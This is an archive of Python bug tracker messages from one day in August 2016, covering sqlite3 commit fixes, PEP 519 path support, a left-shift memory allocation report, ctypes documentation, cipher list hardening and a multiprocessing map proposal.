bugs.python.org Fri Aug 26 14:40:52 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 26 Aug 2016 18:40:52 +0000 Subject: [issue27869] test failures on Bash on Windows In-Reply-To: <1472236837.41.0.811658562373.issue27869@psf.upfronthosting.co.za> Message-ID: <1472236852.59.0.993878753103.issue27869@psf.upfronthosting.co.za> Changes by Brett Cannon : ---------- title: test failures on Bash for Windows -> test failures on Bash on Windows _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 14:49:15 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 26 Aug 2016 18:49:15 +0000 Subject: [issue27855] 2to3: Wrong code output w/ has_key without trailing space In-Reply-To: <1472083893.01.0.491707564074.issue27855@psf.upfronthosting.co.za> Message-ID: <1472237355.28.0.269992563982.issue27855@psf.upfronthosting.co.za> Terry J. Reedy added the comment: If you don't want to sign the CA, https://www.python.org/psf/contrib/, and upload a file without a guarantee, which is never given ;-), just give the patch in a text message. While it may be unreasonable to *expect* 2to3 to handle this, it also might not be unreasonable for it to do so. It would be especially useful if one were converting to Py3 and not planning to maintain the 2.x code. My concern is that this might be one of multiple similar situations, so that patching just one might not be all that helpful. But I have not looked at the list of fixers to determine is other are affected. ---------- nosy: +benjamin.peterson, terry.reedy versions: +Python 3.5, Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 15:07:39 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 26 Aug 2016 19:07:39 +0000 Subject: [issue10513] sqlite3.InterfaceError after commit In-Reply-To: <1290515734.43.0.643837241692.issue10513@psf.upfronthosting.co.za> Message-ID: <20160826190734.82561.75336.34E45210@psf.io> Roundup Robot added the comment: New changeset 81f614dd8136 by Berker Peksag in branch '3.5': Issue #10513: Fix a regression in Connection.commit() https://hg.python.org/cpython/rev/81f614dd8136 New changeset 685f32972c11 by Berker Peksag in branch 'default': Issue #10513: Merge from 3.5 https://hg.python.org/cpython/rev/685f32972c11 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 15:12:23 2016 From: report at bugs.python.org (Alex Groce) Date: Fri, 26 Aug 2016 19:12:23 +0000 Subject: [issue27870] Left shift of zero allocates memory Message-ID: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> New submission from Alex Groce: Using a random testing system to compare Python long behavior to GMP (via gmpy2), I notice that in a low-memory situation (created by allocating many large integers in both Python and GMP), a left-shift of 0 by large number of bytes: - returns 0 via gmpy2 - causes a memory error in Python, e.g.: ... val4 = val3 << val4 val3: 0 (GMP) 0 (Python) val4: 1459166279268040830 (GMP) 1459166279268040830 (Python) [operation successful via GMP] Python(4463,0x7fff7152c300) malloc: *** mach_vm_map(size=194555503902408704) failed (error code=3) *** error: can't allocate region *** set a breakpoint in malloc_error_break to debug Auto-generated test is attached, though probably not needed to understand the issue. File is not minimized, since I suspect most of the code is just to choke memory, and you probably need the right memory config to replay, but it shows the basic idea. For more info, see https://github.com/agroce/tstl/tree/master/examples/gmpy2 ---------- files: leftshiftalloc.py messages: 273717 nosy: Alex Groce priority: normal severity: normal status: open title: Left shift of zero allocates memory type: resource usage versions: Python 2.7 Added file: https://bugs.python.org/file44236/leftshiftalloc.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 15:17:49 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 26 Aug 2016 19:17:49 +0000 Subject: [issue10513] sqlite3.InterfaceError after commit In-Reply-To: <1290515734.43.0.643837241692.issue10513@psf.upfronthosting.co.za> Message-ID: <20160826191746.27242.72591.E1B70F59@psf.io> Roundup Robot added the comment: New changeset 030e100f048a by Berker Peksag in branch '2.7': Issue #10513: Fix a regression in Connection.commit() https://hg.python.org/cpython/rev/030e100f048a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 15:19:54 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 26 Aug 2016 19:19:54 +0000 Subject: [issue23129] sqlite3 COMMIT nested in SELECT returns unexpected results In-Reply-To: <1419873078.33.0.518262497665.issue23129@psf.upfronthosting.co.za> Message-ID: <1472239194.02.0.848251619547.issue23129@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the report! This is a duplicate of issue 10513. I've pushed a patch to fix this for 2.7 and 3.5+ in 030e100f048a and 81f614dd8136. ---------- components: +Extension Modules nosy: +berker.peksag resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> sqlite3.InterfaceError after commit versions: +Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 15:21:04 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 26 Aug 2016 19:21:04 +0000 Subject: [issue27867] various issues due to misuse of PySlice_GetIndicesEx In-Reply-To: <1472226685.15.0.242668202848.issue27867@psf.upfronthosting.co.za> Message-ID: <1472239264.87.0.889588596218.issue27867@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I presume you are suggesting to raise if the length changes. This is similar to raising when a dict is mutated while iterating. Note that we do not do this with mutable sequences. (If the iteration is stopped with out-of-memory error, so be it.) An alternate approach would be to first fully evaluate start, stop, step , *and then length*, to ints, in that order, before using any of them. In particular, have everything stable before comparing and adjusting start and stop to length. This way, slices would continue to always work, barring other exceptions in __index__ or __length__. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 15:21:29 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 26 Aug 2016 19:21:29 +0000 Subject: [issue10513] sqlite3.InterfaceError after commit In-Reply-To: <1290515734.43.0.643837241692.issue10513@psf.upfronthosting.co.za> Message-ID: <1472239289.74.0.303693193057.issue10513@psf.upfronthosting.co.za> Berker Peksag added the comment: This is now fixed in 2.7 and 3.5+. Thank you all for your patience! ---------- nosy: +berker.peksag resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 15:35:37 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 26 Aug 2016 19:35:37 +0000 Subject: [issue8145] Documentation about sqlite3 isolation_level In-Reply-To: <1268643705.49.0.319902511171.issue8145@psf.upfronthosting.co.za> Message-ID: <1472240137.83.0.0781743165683.issue8145@psf.upfronthosting.co.za> Berker Peksag added the comment: sqlite_transaction_doc.patch looks good to me and applies cleanly to current default branch. One minor note: It would be nice to document that the default mode is "BEGIN DEFERRED" in Connection.isolation_level documentation. ---------- nosy: +berker.peksag stage: patch review -> commit review versions: +Python 3.5, Python 3.6 -Python 3.2, Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 15:41:30 2016 From: report at bugs.python.org (Alex Gaynor) Date: Fri, 26 Aug 2016 19:41:30 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472240490.91.0.933063118436.issue26470@psf.upfronthosting.co.za> Alex Gaynor added the comment: - The 2.7 patch contains numerous references to 3.6, these should be rewritten to 2.7.x - ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 16:22:05 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 26 Aug 2016 20:22:05 +0000 Subject: [issue20562] sqlite3 returns result set with doubled first entry In-Reply-To: <1391863388.33.0.362303830227.issue20562@psf.upfronthosting.co.za> Message-ID: <1472242925.59.0.392086856381.issue20562@psf.upfronthosting.co.za> Berker Peksag added the comment: This is basically a duplicate of issue 10513. ---------- nosy: +berker.peksag resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> sqlite3.InterfaceError after commit _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 16:28:56 2016 From: report at bugs.python.org (Berker Peksag) Date: Fri, 26 Aug 2016 20:28:56 +0000 Subject: [issue21541] Provide configure option --with-ssl for compilation with custom openssl In-Reply-To: <1400593614.19.0.224440922912.issue21541@psf.upfronthosting.co.za> Message-ID: <1472243336.18.0.311425047081.issue21541@psf.upfronthosting.co.za> Changes by Berker Peksag : ---------- nosy: +berker.peksag _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 16:37:28 2016 From: report at bugs.python.org (Alex Groce) Date: Fri, 26 Aug 2016 20:37:28 +0000 Subject: [issue27870] Left shift of zero allocates memory In-Reply-To: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> Message-ID: <1472243848.97.0.117606411685.issue27870@psf.upfronthosting.co.za> Alex Groce added the comment: (to clarify: 0 << N allocates memory (which can fail, raising MemoryError) based on N. GMP simply returns 0 for any N. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 16:40:21 2016 From: report at bugs.python.org (Alex Groce) Date: Fri, 26 Aug 2016 20:40:21 +0000 Subject: [issue27870] Left shift of zero allocates memory In-Reply-To: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> Message-ID: <1472244021.08.0.221240580213.issue27870@psf.upfronthosting.co.za> Alex Groce added the comment: AND, right shift >> does not allocate memory, so there is a lack of symmetry that indicates the optimization might be desired. see https://github.com/agroce/tstl/tree/master/examples/gmpy2/leftshiftalloc.py vs. https://github.com/agroce/tstl/tree/master/examples/gmpy2/rightshiftalloc.py to compare behaviors, but these are depending on memory size, this was generated on MacBook Pro OS X Yosemite machine with 16GB) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 17:34:29 2016 From: report at bugs.python.org (R. David Murray) Date: Fri, 26 Aug 2016 21:34:29 +0000 Subject: [issue27870] Left shift of zero allocates memory In-Reply-To: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> Message-ID: <1472247269.62.0.778416436962.issue27870@psf.upfronthosting.co.za> R. David Murray added the comment: Are you saying that Python aborts, or that it raises a MemoryError? ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 17:34:30 2016 From: report at bugs.python.org (Jim Jewett) Date: Fri, 26 Aug 2016 21:34:30 +0000 Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183) In-Reply-To: <1472219214.53.0.150176300079.issue27850@psf.upfronthosting.co.za> Message-ID: Jim Jewett added the comment: I think a python call is fine to require ... if they don't have the python source they should have a support contract. I assume the advice followed is intermediate, based on the earlier comment about xp and ie? On Aug 26, 2016 9:46 AM, "Christian Heimes" wrote: > > Christian Heimes added the comment: > > Patch for 3DES and ChaCha20 (#27766). > > For ChaCha the patch does not check CPU cap vector and just follows the > advice from https://wiki.mozilla.org/Security/Server_Side_TLS# > Modern_compatibility > > ---------- > keywords: +patch > Added file: https://bugs.python.org/file44233/Remove-3DES-from- > and-add-ChaCha20-Poly1305-to-cipher.patch > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 17:36:30 2016 From: report at bugs.python.org (Alex Groce) Date: Fri, 26 Aug 2016 21:36:30 +0000 Subject: [issue27870] Left shift of zero allocates memory In-Reply-To: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> Message-ID: <1472247390.01.0.178372109962.issue27870@psf.upfronthosting.co.za> Alex Groce added the comment: Allocates, then fails to perform the operation (with MemoryError). Neither a crash nor resource allocation, precisely, just fails to carry out operation GMP integers can do under the same circumstances. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 17:38:51 2016 From: report at bugs.python.org (R. David Murray) Date: Fri, 26 Aug 2016 21:38:51 +0000 Subject: [issue27870] Left shift of zero allocates memory In-Reply-To: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> Message-ID: <1472247531.66.0.0083882155736.issue27870@psf.upfronthosting.co.za> R. David Murray added the comment: If it raises a MemoryError, then it is working as designed. Returning 0 would be the wrong answer, so I don't understand why GMP would do that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 17:41:47 2016 From: report at bugs.python.org (R. David Murray) Date: Fri, 26 Aug 2016 21:41:47 +0000 Subject: [issue27870] Left shift of zero allocates memory In-Reply-To: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> Message-ID: <1472247707.3.0.167421171097.issue27870@psf.upfronthosting.co.za> R. David Murray added the comment: Wait, when you talk about 'long', are you using that in the C sense? Because python long integers are size-limited only by the amount of memory. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 17:43:23 2016 From: report at bugs.python.org (Christian Kothe) Date: Fri, 26 Aug 2016 21:43:23 +0000 Subject: [issue27871] ctypes docs must be more explicit about the type a func returns Message-ID: <1472247803.52.0.0680824647216.issue27871@psf.upfronthosting.co.za> New submission from Christian Kothe: The ctypes documentation leaves an important detail very implicit, which can cause non-deterministic hard crashes when overlooked. The issue is that when you explicitly set the .restype of a function to c_void_p, the function returns not a c_void_p (like a newcomer might assume) but an int -- and when he/she passes that value into the next library function (which should have gotten a c_void_p), then they'll get a hard crash if that memory location lies outside the 32-bit range. I take it that the implicit assumption in ctypes is that the data types that you get back from the library calls are native python types where applicable for convenience, and the restype (just like argtypes) only configures the marshaling layer. However, that's not very explicitly stated anywhere (except maybe between the lines). ---------- components: ctypes messages: 273732 nosy: Christian Kothe priority: normal severity: normal status: open title: ctypes docs must be more explicit about the type a func returns type: enhancement versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 17:45:25 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 26 Aug 2016 21:45:25 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <20160826214520.67925.6205.4EBF9147@psf.io> Roundup Robot added the comment: New changeset b64f83d6ff24 by Brett Cannon in branch 'default': Issue #26027, #27524: Add PEP 519/__fspath__() support to os and https://hg.python.org/cpython/rev/b64f83d6ff24 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 17:45:25 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 26 Aug 2016 21:45:25 +0000 Subject: [issue27524] Update os.path for PEP 519/__fspath__() In-Reply-To: <1468616792.91.0.199248434704.issue27524@psf.upfronthosting.co.za> Message-ID: <20160826214520.67925.74555.03FAE0FD@psf.io> Roundup Robot added the comment: New changeset b64f83d6ff24 by Brett Cannon in branch 'default': Issue #26027, #27524: Add PEP 519/__fspath__() support to os and https://hg.python.org/cpython/rev/b64f83d6ff24 ---------- nosy: +ned.deily, python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 17:46:03 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 26 Aug 2016 21:46:03 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <1472247963.83.0.788830906996.issue26027@psf.upfronthosting.co.za> Brett Cannon added the comment: Thanks to Jelle for the initial commit and Serhiy for the code review! ---------- resolution: -> fixed stage: commit review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 17:46:15 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 26 Aug 2016 21:46:15 +0000 Subject: [issue27524] Update os.path for PEP 519/__fspath__() In-Reply-To: <1468616792.91.0.199248434704.issue27524@psf.upfronthosting.co.za> Message-ID: <1472247975.51.0.13110664861.issue27524@psf.upfronthosting.co.za> Changes by Brett Cannon : ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 17:46:48 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 26 Aug 2016 21:46:48 +0000 Subject: [issue27283] Add a "What's New" entry for PEP 519 In-Reply-To: <1465513319.76.0.455637860602.issue27283@psf.upfronthosting.co.za> Message-ID: <1472248008.23.0.693629063269.issue27283@psf.upfronthosting.co.za> Brett Cannon added the comment: Applied in https://hg.python.org/cpython/rev/95361959d451 ---------- resolution: -> fixed stage: commit review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 17:49:37 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 26 Aug 2016 21:49:37 +0000 Subject: [issue27182] PEP 519 support in the stdlib In-Reply-To: <1464887789.1.0.970652730446.issue27182@psf.upfronthosting.co.za> Message-ID: <1472248177.9.0.15537312423.issue27182@psf.upfronthosting.co.za> Brett Cannon added the comment: The os and os.path modules are now done! The means PEP 519 is finished. At this point individual modules will need to be checked to see if they do (not) support os.PathLike. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 17:49:44 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 26 Aug 2016 21:49:44 +0000 Subject: [issue27182] PEP 519 support in the stdlib In-Reply-To: <1464887789.1.0.970652730446.issue27182@psf.upfronthosting.co.za> Message-ID: <1472248184.93.0.858076062128.issue27182@psf.upfronthosting.co.za> Changes by Brett Cannon : ---------- assignee: brett.cannon -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 17:54:18 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 26 Aug 2016 21:54:18 +0000 Subject: [issue27872] Update os/os.path docs to mention path-like object support Message-ID: <1472248458.14.0.534169668817.issue27872@psf.upfronthosting.co.za> New submission from Brett Cannon: Now that PEP 519 support has been added to the os and os.path modules, the documentation needs to be appropriately updated to mention which functions support a "path-like object" (and in some cases a path-like object or an int for file descriptors). ---------- assignee: brett.cannon components: Documentation messages: 273738 nosy: brett.cannon priority: normal severity: normal stage: needs patch status: open title: Update os/os.path docs to mention path-like object support versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 17:54:30 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 26 Aug 2016 21:54:30 +0000 Subject: [issue27872] Update os/os.path docs to mention path-like object support In-Reply-To: <1472248458.14.0.534169668817.issue27872@psf.upfronthosting.co.za> Message-ID: <1472248470.35.0.782795304162.issue27872@psf.upfronthosting.co.za> Changes by Brett Cannon : ---------- priority: normal -> deferred blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 17:54:45 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 26 Aug 2016 21:54:45 +0000 Subject: [issue27872] Update os/os.path docs to mention path-like object support In-Reply-To: <1472248458.14.0.534169668817.issue27872@psf.upfronthosting.co.za> Message-ID: <1472248485.16.0.667420673101.issue27872@psf.upfronthosting.co.za> Changes by Brett Cannon : ---------- keywords: +easy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 17:54:46 2016 From: report at bugs.python.org (Alex Groce) Date: Fri, 26 Aug 2016 21:54:46 +0000 Subject: [issue27870] Left shift of zero allocates memory In-Reply-To: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> Message-ID: <1472248486.41.0.35367355522.issue27870@psf.upfronthosting.co.za> Alex Groce added the comment: I mean a Python long. GMP mpz (via gmpy2) is supposed to be "drop-in" replacement, but it's choice to handle 0 << N even if N is too large to allocate (since you get back a 1-bit number, 0) seems reasonable, if not required for correct behavior. If this is by design, it seems reasonable (if the zero check is considered too expensive, for example). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 18:07:57 2016 From: report at bugs.python.org (R. David Murray) Date: Fri, 26 Aug 2016 22:07:57 +0000 Subject: [issue27870] Left shift of zero allocates memory In-Reply-To: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> Message-ID: <1472249277.79.0.88589749816.issue27870@psf.upfronthosting.co.za> R. David Murray added the comment: Oh, my apologies. I was not reading your message with enough attention, you are only talking about the zero case. A check for zero would not be crazy, and I think there are enough operations involved in left shift that the performance impact would not be measurable. I'll leave that to the math experts, though. ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 18:30:05 2016 From: report at bugs.python.org (Martin Panter) Date: Fri, 26 Aug 2016 22:30:05 +0000 Subject: [issue27805] io.open('/dev/stdout', 'a') raises OSError with errno=ESPIPE In-Reply-To: <1471637472.92.0.246311076418.issue27805@psf.upfronthosting.co.za> Message-ID: <1472250605.77.0.796625034106.issue27805@psf.upfronthosting.co.za> Changes by Martin Panter : ---------- title: os.open('/dev/stdout', 'a') raises OSError with errno=ESPIPE -> io.open('/dev/stdout', 'a') raises OSError with errno=ESPIPE _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 19:15:50 2016 From: report at bugs.python.org (Jason Yu) Date: Fri, 26 Aug 2016 23:15:50 +0000 Subject: [issue27873] multiprocessing.pool.Pool.map should take more than one iterable Message-ID: <1472253350.37.0.404019702525.issue27873@psf.upfronthosting.co.za> New submission from Jason Yu: Hello all, The official doc describes `Pool.map(func, iterable[, chunksize])` as "A parallel equivalent of the map() built-in function.". Since the function signature of `map` is `map(function, iterable, ...)`, I hereby suggest that `Pool.map` should change its function signature to `Pool.map(function, iterable, ... [, chunksize])`. This will bring true equivalent to these functions. Tell me what you think. Pool.map: https://docs.python.org/3/library/multiprocessing.html#multiprocessing.pool.Pool.map map: https://docs.python.org/3/library/functions.html#map Jason ---------- components: Interpreter Core messages: 273741 nosy: Jason Yu priority: normal severity: normal status: open title: multiprocessing.pool.Pool.map should take more than one iterable type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 20:48:26 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 27 Aug 2016 00:48:26 +0000 Subject: [issue27873] multiprocessing.pool.Pool.map should take more than one iterable In-Reply-To: <1472253350.37.0.404019702525.issue27873@psf.upfronthosting.co.za> Message-ID: <1472258906.35.0.677699165149.issue27873@psf.upfronthosting.co.za> Raymond Hettinger added the comment: -0 We need better motivation than "that is was map() does". Instead, are should look at whether there are compelling use cases and its impact on the complexity of the multiprocessing implementation. I usually just prezip my data and it works fine. ---------- assignee: -> davin nosy: +davin, rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 20:49:46 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 27 Aug 2016 00:49:46 +0000 Subject: [issue27870] Left shift of zero allocates memory In-Reply-To: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> Message-ID: <1472258986.19.0.54952818319.issue27870@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- nosy: +skrah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 20:59:28 2016 From: report at bugs.python.org (Tim Peters) Date: Sat, 27 Aug 2016 00:59:28 +0000 Subject: [issue27873] multiprocessing.pool.Pool.map should take more than one iterable In-Reply-To: <1472253350.37.0.404019702525.issue27873@psf.upfronthosting.co.za> Message-ID: <1472259568.17.0.938697892748.issue27873@psf.upfronthosting.co.za> Tim Peters added the comment: Note that `Pool` grew `starmap()` and `starmap_async()` methods in Python 3.3 to (mostly) address this. The signature difference from the old builtin `map()` remains regrettable. Note that the `Pool` version differs from the `concurrent.futures` version of `map()` in this respect too. ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 21:46:49 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 27 Aug 2016 01:46:49 +0000 Subject: [issue27830] Add _PyObject_FastCallKeywords(): avoid the creation of a temporary dictionary for keyword arguments In-Reply-To: <1471905864.17.0.99232719056.issue27830@psf.upfronthosting.co.za> Message-ID: <1472262409.77.0.182927819989.issue27830@psf.upfronthosting.co.za> Martin Panter added the comment: FYI revision ffcfa4f005a3 removed the code that uses your new _PyStack_AsDict() function, so now there is a compiler warning: Objects/abstract.c:2313:1: warning: ?_PyStack_AsDict? defined but not used [-Wunused-function] _PyStack_AsDict(PyObject **stack, Py_ssize_t nkwargs, PyObject *func) ^~~~~~~~~~~~~~~ ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 21:56:37 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 27 Aug 2016 01:56:37 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <1472262997.53.0.532836431021.issue26027@psf.upfronthosting.co.za> Martin Panter added the comment: This change causes test_os to produce warnings, and can fail: $ hg update b64f83d6ff24 $ ./python -bWerror -m test -u all -W test_os [. . .] ====================================================================== ERROR: test_path_t_converter (test.test_os.PathTConverterTests) (name='stat', path=bytearray(b'@test_12055_tmp')) ---------------------------------------------------------------------- Traceback (most recent call last): File "/media/disk/home/proj/python/cpython/Lib/test/test_os.py", line 2865, in test_path_t_converter result = fn(path, *extra_args) DeprecationWarning: stat: path should be string, bytes, os.PathLike or integer, not bytearray Similar warnings: DeprecationWarning: lstat: path should be string, bytes or os.PathLike, not bytearray DeprecationWarning: access: path should be string, bytes, os.PathLike or integer, not bytearray DeprecationWarning: open: path should be string, bytes or os.PathLike, not bytearray ---------- nosy: +martin.panter status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 22:11:08 2016 From: report at bugs.python.org (Wayne Harris) Date: Sat, 27 Aug 2016 02:11:08 +0000 Subject: [issue12178] csv writer doesn't escape escapechar In-Reply-To: <1306348030.98.0.468032848078.issue12178@psf.upfronthosting.co.za> Message-ID: <1472263868.92.0.344090269082.issue12178@psf.upfronthosting.co.za> Wayne Harris added the comment: Hi, I can confirm that this behavior still exists in my current python versions (3.5.2 & 2.7.11). I'm happy to take a look at the code, but considering I made this account specifically to comment on this issue I assume someone else will want to, as well. If you want to make sure this is still broken, just use any of the docs' reader and writer examples, adding a trailing escape char to the end. ---------- nosy: +Apathymannequin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 22:21:57 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 27 Aug 2016 02:21:57 +0000 Subject: [issue26638] Avoid warnings about missing CLI options when building documentation In-Reply-To: <1458881380.09.0.599104229044.issue26638@psf.upfronthosting.co.za> Message-ID: <1472264517.3.0.915567488662.issue26638@psf.upfronthosting.co.za> Martin Panter added the comment: Terry: the four "ini" syntax highlighting warnings were also mentioned in . In that bug, we fixed many other similar warnings, but I think we left those as being less easy to fix. One thing (other than suppress_warnings = ['ref.option']) that might help you see warnings relevant to your change is if you first build the docs without your change, ignore all those warnings, and then rebuild with your change. The second build may produce less irrelevant warnings. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 22:30:19 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 27 Aug 2016 02:30:19 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <20160827023016.45689.2587.FE9454E4@psf.io> Roundup Robot added the comment: New changeset 32b93ba32aa0 by Brett Cannon in branch 'default': Issue #26027: Don't test for bytearray in path_t as that's now https://hg.python.org/cpython/rev/32b93ba32aa0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 22:31:11 2016 From: report at bugs.python.org (Brett Cannon) Date: Sat, 27 Aug 2016 02:31:11 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <1472265071.08.0.580872518494.issue26027@psf.upfronthosting.co.za> Brett Cannon added the comment: Thanks for catching that, Martin. I removed the test for bytearray as it was originally written before the deprecation. ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 22:36:01 2016 From: report at bugs.python.org (Eryk Sun) Date: Sat, 27 Aug 2016 02:36:01 +0000 Subject: [issue27871] ctypes docs must be more explicit about the type a func returns In-Reply-To: <1472247803.52.0.0680824647216.issue27871@psf.upfronthosting.co.za> Message-ID: <1472265361.08.0.22116651592.issue27871@psf.upfronthosting.co.za> Eryk Sun added the comment: See section 2.7 in the ctypes docs: Fundamental data types, when returned as foreign function call results, or, for example, by retrieving structure field members or array items, are transparently converted to native Python types. In other words, if a foreign function has a restype of c_char_p, you will always receive a Python bytes object, not a c_char_p instance. Subclasses of fundamental data types do not inherit this behavior. So, if a foreign functions restype is a subclass of c_void_p, you will receive an instance of this subclass from the function call. Of course, you can get the value of the pointer by accessing the value attribute. For example: class my_char_p(ctypes.c_char_p): pass >>> locale = ctypes.create_string_buffer(b'en_US.UTF-8') >>> setlocale.restype = ctypes.c_char_p >>> result = setlocale(0, locale) >>> result b'en_US.UTF-8' >>> setlocale.restype = my_char_p >>> result = setlocale(0, locale) >>> result my_char_p(31391216) >>> result.value b'en_US.UTF-8' > when he/she passes that value into the next library function A function that takes pointer arguments really should have argtypes defined so that there's no chance of accidentally getting the default integer conversion to a C int. ---------- assignee: -> docs at python components: +Documentation nosy: +docs at python, eryksun resolution: -> not a bug stage: -> resolved status: open -> closed versions: -Python 3.2, Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 26 22:42:41 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 27 Aug 2016 02:42:41 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: 